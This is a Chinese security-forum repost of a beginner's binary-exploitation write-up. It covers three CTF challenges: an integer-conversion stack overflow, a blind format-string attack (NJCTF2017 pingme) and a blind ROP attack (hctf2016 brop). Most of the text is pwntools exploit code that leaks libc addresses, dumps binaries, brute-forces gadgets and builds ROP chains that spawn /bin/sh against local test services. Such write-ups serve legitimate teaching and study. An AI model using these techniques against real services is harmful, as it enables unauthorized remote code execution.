安全矩阵

 找回密码
 立即注册
搜索
查看: 2588|回复: 0

新人PWN入坑总结

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-8-20 09:49:38 | 显示全部楼层 |阅读模式
原文链接:新人PWN入坑总结

1
整数溢出漏洞0xb一、shadow-IntergerOverflow-Nice1、常规checksec,开了NX,FULL RELRO,Canary,没办法shellcode,修改got表。然后IDA打开找漏洞。
(1)整数转换漏洞:
输入message_length之后将长度返回进行atoi,将atoi的返回值给到下一个输入message的getline。中间用atoi进行了一个字符串转int的操作,而atoi是一个将数字型字符串转成数字的函数,”-1”可以转换为-1。但是getline中read的长度参数是size_t,相当于是unsigned int,是一个无符号数。
而int的表达方式是:0~2147483647(0~0x7fffffff)   -2147483648~-1(0x80000000~0xffffffff)
unsigned的表达方式是:0~4294967295(0~0xffffffff)
那么int的-1转换成unsigned之后就会变成0xffffffff,从而溢出。
由于程序实现了自定义的pop,push,ret,call等几个控制栈帧的汇编代码,所以这里的漏洞不太好找,汇编不太好的只能先慢慢调试验证猜想是否正确。
(2)栈溢出:
栈溢出是从整数转换漏洞中来的,由于message是保存在message函数栈上的,所以就如果将read的长度参数变得很大,就可以栈溢出。
这里的栈溢出和平常栈溢出有点不同,而且还开了canary,照理说这个栈溢出没什么用,但是这里的Message是一个循环,只要message函数不退出,那么就不会触发canary的检查,就算栈溢出了,那也得等到message函数退出程序才会崩溃。
2、现在只有两个漏洞,但是看程序F5大法啥也看不出来,看汇编吧。
(1)输入name的call getline:

(2)输入长度的call getline:

(3)输入message的call getline:

可以看到,输入message和name的getline中保存数据的参数不一样。
保存name的参数是:[ebp+arg_0]
保存message的参数是:[ebp+var-2c]
再看一下这两个参数的定义:
arg_0 = dword ptr  8
var_2C = byte ptr -2Ch
可以看到name保存在ebp的下方,不在message的函数栈,但是message保存在ebp上方,在message函数栈中。
3、那么现在思考下攻击思路。先输入-1执行栈溢出漏洞,将message函数栈下方的保存name的内容更改为某函数的got表,这样在打印name时就可以将该函数打印出来。
这里能打印的原因是printf的传参关系,这里能看到,name和message传参所用指令不同:
name是mov指令,是直接将ebp+arg_0上的内容传给eax。
message是lea指令,是将ebp+var_2c这个栈地址传给edx。
那么显而易见,ebp+arg_0上保存的肯定是一个栈地址,这个栈地址上的内容才是name的真实内容。所以如果我们覆盖ebp+arg_0上的内容为got表,那么再打印就是取got表中的内容打印,也是函数真实地址。
从而泄露出libc基地址。之后再执行栈溢出,覆盖返回地址为ROP链来getshell。但是这里有一个问题,由于程序自定了某些汇编函数,并且在调试过程中发现用程序的call来调用的函数,返回地址不再是原来call函数的下一句代码,而是一个restore_eip函数。
因为在leave和ret指令执行前,执行了call ret,修改了某些东西,导致原本ebp下面不再是函数的返回地址了。并且由于是传指针,就算栈溢出,溢出的也只能是message函数栈,那有canary的情况下,溢出也没有什么意义。但是其它函数返回地址则是直接跳转到ret_stub函数,而这个ret_stub函数是保存在栈上的。
4、这里就想到printf函数,由于name会被打印出来,并且调试可以发现,将name总共16字节顶满后会连上一个17F79D79,之后是两个retn的地址,再之后就是一个栈地址,这几个数据都没有\x00结束字符,所以可以被printf连在一起打印出来。

那么可以考虑将name顶满后连上ebp泄露出栈地址,之后找到保存read返回地址的栈地址,将写入name的栈地址更改为保存read返回地址的栈地址。之后我们再往name中写东西,就相当于覆盖read函数的返回地址。
再经过反复调试,发现read函数返回地址取用的地方刚好是FFF25c3c-0x100,而且每次都是那个地址,那么就可以覆盖了。(这里利用输入message连上ebp也可以泄露出message的ebp上保存的内容,也是相同的栈地址,调试出来的)
5、现在就尝试编写exp。
(1)首先三个函数:
  1. #注释头

  2. def setName(name):
  3.     io.sendafter('Input name :',name)

  4. def setMessage(message):
  5.     io.sendlineafter('Message length :','-1')
  6.     io.sendafter('Input message :',message)

  7. def changeName(c):
  8.     io.sendlineafter('Change name?',c)
复制代码


(2)通过填满name,泄露一个栈地址:
  1. #注释头

  2. setName('A'*0x10)
  3. setMessage('BBBBBBBBBB')
  4. sh.recvuntil('<')
  5. sh.recv(0x1C)
  6. stack_addr = u32(sh.recv(4))
  7. changeName('n')
  8. log.info("stack_addr:%x"%stack_addr)
复制代码

(3)泄露函数真实地址:
  1. #注释头

  2. payload = 'a'*0x34 + p32(atoi_got) + p32(0x100) + p32(0x100)
  3. #这里第一个p32(0x100)是覆盖getline的读取长度,也就是arg_4,第二个是为了覆盖循环次数,也就是arg_8
  4. setMessage(payload)
  5. sh.recvuntil('<')
  6. atoi_addr = u32(sh.recv(4))
  7. log.info("atoi_addr:%x"%atoi_addr)
复制代码

获取name的长度:当然这改掉的是name的长度,message的长度保存在[ebp+var_30]上,并且因为-1已经被更改为0xffffffff,足够大了。

判断循环次数:

(4)计算得到libc中其它地址:
  1. #注释头

  2. libc = LibcSearcher('atoi',atoi_addr)
  3. libc_base = atoi_addr - libc.dump('atoi')
  4. system_addr = libc_base + libc.dump('system')
  5. binsh_addr = libc_base + libc.dump('str_bin_sh')
复制代码

(5)将写入name的地方覆盖成读取read函数返回地址的地方:
  1. #注释头

  2. payload = 'a'*0x34 + p32(target_addr)
  3. setMessage(payload)
复制代码


(6)再次读取name的时候就可以发送rop链:
  1. #注释头

  2. rop = p32(system_addr) + p32(0) + p32(binsh_addr)
  3. setName(rop)
复制代码
(7)最后getshell:
这个exp在不同的glibc版本下不太一样,2.23/2.24/2.27都能跑通,但是在2.31/2.32版本下没办法跑通,尤其是2.31,连栈地址都没办法泄露。2.32则是在最后一步会失败,不知道为什么。可能是canary的原因,不同版本的canary检查机制好像不一样。
2
盲打0xc一、NJCTF2017_pingme0--格式化字符串盲打1、搭建题目:socat tcp-listen:10001,fork exec:./pingme,reuseaddr &
2、题目不给文件,只有地址和端口,可能是BROP也可能是格式化字符串盲打。连接上先尝试格式化字符串盲打,输入多个%p.%p.%p,可以看到泄露出了数据,那么就应该是格式化字符串盲打。

3、首先利用爆破找到我们输入的参数偏移:

  1. #注释头

  2. from pwn import*
  3. io = remote("127.0.0.1",10001)
  4. #io = process("./pingme")

  5. def exec_fmt(payload):
  6.     io.sendline(payload)
  7.     info = p.recv()
  8.     return info

  9. auto = FmtStr(exec_fmt)
  10. offset = auto.offset
复制代码

偏移为7,验证一下:

4、利用格式化字符串漏洞将二进制文件dump下来:
  1. #注释头

  2. from pwn import*

  3. def dump_memory(start_addr,end_addr):
  4.     result = ""
  5.     while start_addr < end_addr:
  6.         io = remote('127.0.0.1',10001)
  7.         io.recvline()
  8.         payload = "%9$s.AAA" + p32(start_addr)
  9.         io.sendline(payload)
  10.         data = io.recvuntil(".AAA")[:-4]
  11.         if data == "":
  12.             data = "\x00"
  13.         log.info("leaking: 0x%x --> %s"%(start_addr,data.encode('hex')))
  14.         result += data
  15.         start_addr += len(data)
  16.         io.close()
  17.     return result
  18. start_addr = 0x8048000
  19. end_addr = 0x8049000
  20. code_bin = dump_memory(start_addr,end_addr)
  21. with open("code.bin","wb") as f:
  22.     f.write(code_bin)
  23.     f.close()
复制代码

(1)由于是格式化字符串打印,会打印到字符串结尾"\x00",但是不会打印出"\x00",所以需要补上"\x00"。(2)这里的%9$s.AAA中偏移为9,是因为打印的是p32(start_addr)处的内容,前面有%9$s.AAA共八个字节,两个地址单位,所以偏移7+2=9。并且填充AAA也是为了满足地址对齐,同时作为特征点来获取程序传回来的数据。将地址放在后面也是为了防止地址中的"\x00"造成截断。
(3)dump的内容只需要有0x1000这么大就行,一个内存页即可。
(4)没有开启PIE时,32位程序从0x8048000开始。
搭建题目时,dump出来的内容可能会有点改变,没办法gdb调试,应该是libc版本或者ASLR的问题,不过不影响,IDA静态分析就好。
5、之后就是常规的格式化字符串漏洞利用了,借助dump下来的文件,找到printf的got表地址,利用格式化字符串打印printf函数真实地址。
之后通过DynELF或者LibcSearch来获取system函数在libc中的偏移,利用泄露的printf函数真实地址,得到Libc加载的基地址,再计算得到system函数的真实地址。
最后再利用格式化字符串漏洞将system函数真实地址写到printf的got表处,劫持got表。最后再输入binsh字符串即可劫持printf("/bin/sh")为system("/bin/sh")。
(1)泄露printf函数真实地址
  1. #注释头

  2. def get_printf_addr():
  3.     io = remote('127.0.0.1', '10001')
  4.     io.recvline()
  5.     payload = "%9$s.AAA" + p32(printf_got)
  6.     io.sendline(payload)
  7.     data = p.recvuntil(".AAA")[:4]
  8.     log.info("printf address: %s" % data.encode('hex'))
  9.     return data
  10. printf_addr = get_printf_addr()
复制代码

(2)计算或者DynELF得到system函数真实地址system_addr(3)利用格式化字符串漏洞进行attack
  1. payload = fmtstr_payload(7, {printf_got:system_addr})
  2. io = remote('127.0.0.1', '10001')
  3. io.recvline()
  4. io.sendline(payload)
  5. io.recv()
  6. io.sendline('/bin/sh')
  7. io.interactive()
复制代码

参考资料:https://www.dazhuanlan.com/2019/10/08/5d9c20226a067/二、hctf2016-brop--ROP盲打

1、题目用以下代码编译和搭建,[brop.c]就是程序代码文件。
  1. #注释头

  2. gcc -z noexecstack -fno-stack-protector -no-pie brop.c -o brop
  3. socat tcp-listen:10001,fork exec:./brop,reuseaddr &
复制代码

2、程序不打印我们的输入,并且输入多个%p没什么反应,那么应该就不是格式化字符串盲打,尝试栈溢出行不行,使用脚本爆破一下:
  1. #注释头

  2. def getbufferflow_length():
  3.     i = 1
  4.     while 1:
  5.         try:
  6.             sh = remote('127.0.0.1', 10001)
  7.             sh.recvuntil('WelCome my friend,Do you know password?\n ')
  8.             sh.send(i * 'a')
  9.             output = sh.recv()
  10.             sh.close()
  11.             if not output.startswith('No password'):
  12.                 return i - 1
  13.             else:
  14.                 i += 1
  15.         except EOFError:
  16.             sh.close()
  17.             return i - 1

  18. buf_size = getbufferflow_length()
  19. log.info("buf_size:%d"%buf_size)
复制代码
不断尝试,如果没有接收到“No password”那就代表程序出错,栈溢出覆盖到了返回地址,这时候就退出,其它错误也退出。最后爆破出来为72个字节,那么buf的缓冲区就是72-8(rbp)=64个字节。(总感觉这里有点问题,如果真是blind,那么肯定也不知道是32位还是64位啊,那么就应该两种方案都要尝试一下吧)

3、寻找可以使得程序挂起的stop_gadget。这个stop_gadget是什么不重要,只要能让程序不崩溃,能够在之后探索其它可以rop的时候接收到正确的反馈,那么是什么都可以。
  1. #注释头

  2. def get_stop_addr(buf_size):
  3.     addr = 0x400000
  4.     while True:
  5.         sleep(0.1)#缓冲
  6.         addr += 1
  7.         payload = "A"*buf_size
  8.         payload += p64(addr)#probe_addr
  9.         try:
  10.             sh = remote('127.0.0.1', 10001)
  11.             sh.recvline()
  12.             sh.sendline(payload)
  13.             sh.recvline()
  14.             sh.close()
  15.             log.info("stop address: 0x%x" % addr)
  16.             return addr
  17.         except EOFError as e:#crash and restart
  18.             sh.close()
  19.             log.info("bad: 0x%x" % addr)
  20.         except:#other error
  21.             log.info("Can't connect")
  22.             addr -= 1
复制代码
4、得到stop_addr之后,就可以继续探索其它的rop_gadget,这里寻找万能gadget的六个pop的地方:
  1. #注释头

  2. def get_gadgets_addr(buf_size, stop_addr):
  3.     addr = stop_addr
  4.     while True:
  5.         sleep(0.1)
  6.         addr += 1
  7.         payload = "A"*buf_size
  8.         payload += p64(addr)
  9.         payload += p64(1) + p64(2) + p64(3) + p64(4) + p64(5) +
  10.         p64(6)
  11.         payload += p64(stop_addr)
  12.         try:
  13.             p = remote('127.0.0.1', 10001)
  14.             p.recvline()
  15.             p.sendline(payload)
  16.             p.recvline()
  17.             p.close()
  18.             log.info("find address: 0x%x" % addr)
  19.             try: # check
  20.                 payload = "A"*buf_size
  21.                 payload += p64(addr)
  22.                 payload += p64(1) + p64(2) + p64(3) + p64(4) + p
  23.                 64(5) + p64(6)
  24.                 #Six pop without stop_addr
  25.                 p = remote('127.0.0.1', 10001)
  26.                 p.recvline()
  27.                 p.sendline(payload)
  28.                 p.recvline()
  29.                 p.close()
  30.                 log.info("bad address: 0x%x" % addr)
  31.                 #Not crash,Bad addr.
  32.             except:#Crash,success addr
  33.                 p.close()
  34.                 log.info("gadget address: 0x%x" % addr)
  35.                 return addr
  36.         except EOFError as e:
  37.             p.close()
  38.             log.info("bad: 0x%x" % addr)
  39.         except:
  40.             log.info("Can't connect")
  41.             addr -= 1
复制代码
找到之后,需要再次检查一下,用来确定是不是万能gadget,因为如果有程序六个pop之后不retn,那就不是万能gadget。因为需要dump二进制文件,所以需要万能gadget中的Pop rdi;ret 这个gadget来dump文件。

5、寻找puts函数的plt表,方便之后调用puts函数和pop rdi;ret这个gadget来dump二进制文件。
  1. #注释头

  2. def get_puts_addr(buf_size, rdi_ret, stop_gadget):
  3.     addr = 0x400000
  4.     while 1:
  5.         print hex(addr)
  6.         sh = remote('127.0.0.1', 10001)
  7.         sh.recvuntil('password?\n')
  8.         payload = 'A' * buf_size + p64(rdi_ret) + p64(0x400000) + p64(addr) + p64(stop_gadget)
  9.         #call put to print the head of ELF.
  10.         sh.sendline(payload)
  11.         try:
  12.             content = sh.recv()
  13.             if content.startswith('\x7fELF'):
  14.                 print("find puts@plt addr: 0x%x"%addr)
  15.                 return addr
  16.             sh.close()
  17.             addr += 1
  18.         except EOFError as e:
  19.             sh.close()
  20.             log.info("bad: 0x%x" % addr)
  21.         except:
  22.             log.info("Can't connect")
  23.             addr -= 1
复制代码
这里实际上找出来的地址并不是puts函数的plt表地址,而是在puts的plt表前面一点的内容,但是这一小段内容不影响栈和rdi寄存器,所以没什么影响。

6、利用puts函数和pop rdi;ret来dump二进制文件:
  1. #注释头

  2. def dump_memory(buf_size, stop_addr, gadgets_addr, puts_plt, start_addr, end_addr):
  3.     pop_rdi = gadgets_addr + 9 # pop rdi; ret
  4.     result = ""
  5.     while start_addr < end_addr:
  6.         #print result.encode('hex')
  7.         sleep(0.1)
  8.         payload = "A"*buf_size
  9.         payload += p64(pop_rdi)
  10.         payload += p64(start_addr)
  11.         payload += p64(puts_plt)
  12.         payload += p64(stop_addr)
  13.         try:
  14.             sh = remote('127.0.0.1', 10001)
  15.             sh.recvline()
  16.             sh.sendline(payload)
  17.             data = sh.recv(timeout=0.1)
  18.             #timeout makes sure to recive all bytes
  19.             if data == "\n":#data = \x00
  20.                 data = "\x00"
  21.             elif data[-1] == "\n":
  22.             #data = xxxxx\n\x00,data = \n\x00,data = xxxxx\x00
  23.                 data = data[:-1]
  24.             log.info("leaking: 0x%x --> %s" % (start_addr,(data or '').encode('hex')))
  25.             result += data
  26.             start_addr += len(data)
  27.             sh.close()
  28.         except:
  29.             log.info("Can't connect")
  30.     return result
复制代码
由于puts 函数通过 \x00 进行截断,不会输出\x00,并且会在每一次输出末尾加上换行符\x0a ,所以有一些特殊情况需要做一些处理,比如单独的 \x00 、 \x0a 等。

首先当然是先去掉末尾 puts 自动加上的 \n ,然后如果 recv 到一个 \n ,说明内存中是 \x00 ,如果 recv 到一个 \n\n ,说明内存中是\x0a 。

p.recv(timeout=0.1) 是由于函数本身的设定,如果有 \n\n ,它很可能在收到第一个 \n 时就返回了,加上参数可以让它全部接收完。

7、得到二进制文件后就是常规操作了,利用Dynelf或者LibcSearcher和puts函数找到system函数和binsh实际位置,之后通过pop rdi;ret来为system函数赋参数从而getshell。
  1. #注释头

  2. sh = remote('127.0.0.1', 10001)
  3. sh.recvuntil('password?\n')
  4. payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
  5. stop_gadget)
  6. sh.sendline(payload)
  7. data = sh.recvuntil('\nWelCome', drop=True)
  8. puts_addr = u64(data.ljust(8, '\x00'))
  9. libc = LibcSearcher('puts', puts_addr)
  10. libc_base = puts_addr - libc.dump('puts')
  11. system_addr = libc_base + libc.dump('system')
  12. binsh_addr = libc_base + libc.dump('str_bin_sh')
  13. payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
  14. system_addr) + p64(stop_gadget)
  15. sh.sendline(payload)
  16. sh.interactive()
复制代码
这里的libcSearcher有时候不太好用,查到的libc不符合,或者是不对。还是DynElf好用一些,比较准确,并且由于是puts函数打印,所以可能需要单个字符来判断。

但实际上64位条件下的got表中的地址一定是0x00007fxxxxxxxxxx,所以如果是大端情况,那么puts函数一定会截断,接收到的只会是xxxxxxxxxx7f和0a所以其实只要判断到换行符的时候就可以。
  1. #注释头

  2. def leak(address):
  3.     data = ""
  4.     c=""
  5.     up = ""
  6.     payload = 'a' * length + p64(rdi_ret) + p64(address) + p64(puts_plt) + p64(stop_gadget)
  7.     sh.recvuntil('password?\n')
  8.     sh.send(payload)
  9.     while True:
  10.         c = p.recv(1)
  11.         if up == '\n' and c == "W":  
  12.             data = data[:-1]                     
  13.             data += "\x00"
  14.             break
  15.         else:
  16.             data += c
  17.         up = c
  18.     data=data[:7]#实际有效地址只有6个字符
  19.     log.info("%#x => %s" % (address, (data or '').encode('hex')))
  20.     return data


  21. dynelf = DynELF(leak, elf=ELF("./brop"))
  22. system_addr = dynelf.lookup("__libc_system", "libc")
复制代码
但是DynElf好像不能找binsh字符串,还是感觉libcsearcher好用点。

参考资料:
1、https://wiki.x10sec.org/pwn/linu ... medium-rop-zh/#brop
2、ctf-all-in-one


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 12:53 , Processed in 0.013611 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表